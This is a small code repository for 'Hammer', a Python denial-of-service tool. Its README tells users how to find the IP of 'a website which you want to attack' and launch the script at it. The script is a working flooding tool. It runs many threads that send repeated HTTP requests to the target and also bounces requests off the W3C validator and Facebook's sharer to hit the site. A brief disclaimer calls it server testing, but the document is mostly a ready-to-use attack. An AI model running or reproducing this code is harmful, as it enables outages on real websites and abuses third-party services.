├── README.md
├── hammer.py
└── headers.txt
/README.md:
--------------------------------------------------------------------------------
1 | $ apt update
2 | $ apt upgrade
3 | $ apt install python
4 | $ apt install git
5 | $ apt install dnsutils
6 | $ git clone https://github.com/Pavithran-R/Hammer/
7 |
8 | Hammer need the Name Server of a website which you want to attack...
9 | To get the Name Server...just type
10 | $ nslookup example.com
11 | Note the IP Address of that Website
12 |
13 | then
14 | $ cd Hammer
15 | $ python hammer.py -s [ip Address] -t 135
16 | example:
17 | $ python hammer.py -s 123.45.67.89 -t 135
18 |
19 | Video Tutorial:
20 | How to use Hammer [`Watch it`](http://www.youtube.com/watch?v=HVbRUhX2EPo)
21 |
--------------------------------------------------------------------------------
/hammer.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # -*- coding: utf-8 -*-
3 |
4 | # DDos Attack Tool v1.0
5 |
6 |
7 | from queue import Queue
8 | from optparse import OptionParser
9 | import time,sys,socket,threading,logging,urllib.request,random
10 |
11 | def user_agent():
12 | global uagent
13 | uagent=[]
14 | uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
15 | uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
16 | uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
17 | uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
18 | uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
19 | uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
20 | uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
21 | return(uagent)
22 |
23 |
24 | def my_bots():
25 | global bots
26 | bots=[]
27 | bots.append("http://validator.w3.org/check?uri=")
28 | bots.append("http://www.facebook.com/sharer/sharer.php?u=")
29 | return(bots)
30 |
31 |
32 | def bot_hammering(url):
33 | try:
34 | while True:
35 | req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
36 | print("\033[94mbot is hammering...\033[0m")
37 | time.sleep(.1)
38 | except:
39 | time.sleep(.1)
40 |
41 |
42 | def down_it(item):
43 | try:
44 | while True:
45 | packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
46 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
47 | s.connect((host,int(port)))
48 | if s.sendto( packet, (host, int(port)) ):
49 | s.shutdown(1)
50 | print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! hammering--> \033[0m")
51 | else:
52 | s.shutdown(1)
53 | print("\033[91mshut<->down\033[0m")
54 | time.sleep(.1)
55 | except socket.error as e:
56 | print("\033[91mno connection! server maybe down\033[0m")
57 | #print("\033[91m",e,"\033[0m")
58 | time.sleep(.1)
59 |
60 |
61 | def dos():
62 | while True:
63 | item = q.get()
64 | down_it(item)
65 | q.task_done()
66 |
67 |
68 | def dos2():
69 | while True:
70 | item=w.get()
71 | bot_hammering(random.choice(bots)+"http://"+host)
72 | w.task_done()
73 |
74 |
75 | def usage():
76 | print (''' \033[92m Hammer-DDos Attack Tool v1.0
77 | It is the end user's responsibility to obey all applicable laws.
78 | It is just for server testing script. Your ip is visible. \n
79 | usage : python3 hammer.py [-s] [-p] [-t]
80 | -h : help
81 | -s : server ip
82 | -p : port default 80
83 | -t : turbo default 135 \033[0m''')
84 | sys.exit()
85 |
86 |
87 | def get_parameters():
88 | global host
89 | global port
90 | global thr
91 | global item
92 | optp = OptionParser(add_help_option=False,epilog="Hammers")
93 | optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
94 | optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")
95 | optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
96 | optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135")
97 | optp.add_option("-h","--help",dest="help",action='store_true',help="help you")
98 | opts, args = optp.parse_args()
99 | logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
100 | if opts.help:
101 | usage()
102 | if opts.host is not None:
103 | host = opts.host
104 | else:
105 | usage()
106 | if opts.port is None:
107 | port = 80
108 | else:
109 | port = opts.port
110 | if opts.turbo is None:
111 | thr = 135
112 | else:
113 | thr = opts.turbo
114 |
115 |
116 | # reading headers
117 | global data
118 | headers = open("headers.txt", "r")
119 | data = headers.read()
120 | headers.close()
121 | #task queue are q,w
122 | q = Queue()
123 | w = Queue()
124 |
125 |
126 | if __name__ == '__main__':
127 | if len(sys.argv) < 2:
128 | usage()
129 | get_parameters()
130 | print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")
131 | print("\033[94mPlease wait...\033[0m")
132 | user_agent()
133 | my_bots()
134 | time.sleep(5)
135 | try:
136 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
137 | s.connect((host,int(port)))
138 | s.settimeout(1)
139 | except socket.error as e:
140 | print("\033[91mcheck server ip and port\033[0m")
141 | usage()
142 | while True:
143 | for i in range(int(thr)):
144 | t = threading.Thread(target=dos)
145 | t.daemon = True # if thread is exist, it dies
146 | t.start()
147 | t2 = threading.Thread(target=dos2)
148 | t2.daemon = True # if thread is exist, it dies
149 | t2.start()
150 | start = time.time()
151 | #tasking
152 | item = 0
153 | while True:
154 | if (item>1800): # for no memory crash
155 | item=0
156 | time.sleep(.1)
157 | item = item + 1
158 | q.put(item)
159 | w.put(item)
160 | q.join()
161 | w.join()
162 |
--------------------------------------------------------------------------------
/headers.txt:
--------------------------------------------------------------------------------
1 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
2 | Accept-Language: en-us,en;q=0.5
3 | Accept-Encoding: gzip,deflate
4 | Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
5 | Keep-Alive: 115
6 | Connection: keep-alive
7 |
--------------------------------------------------------------------------------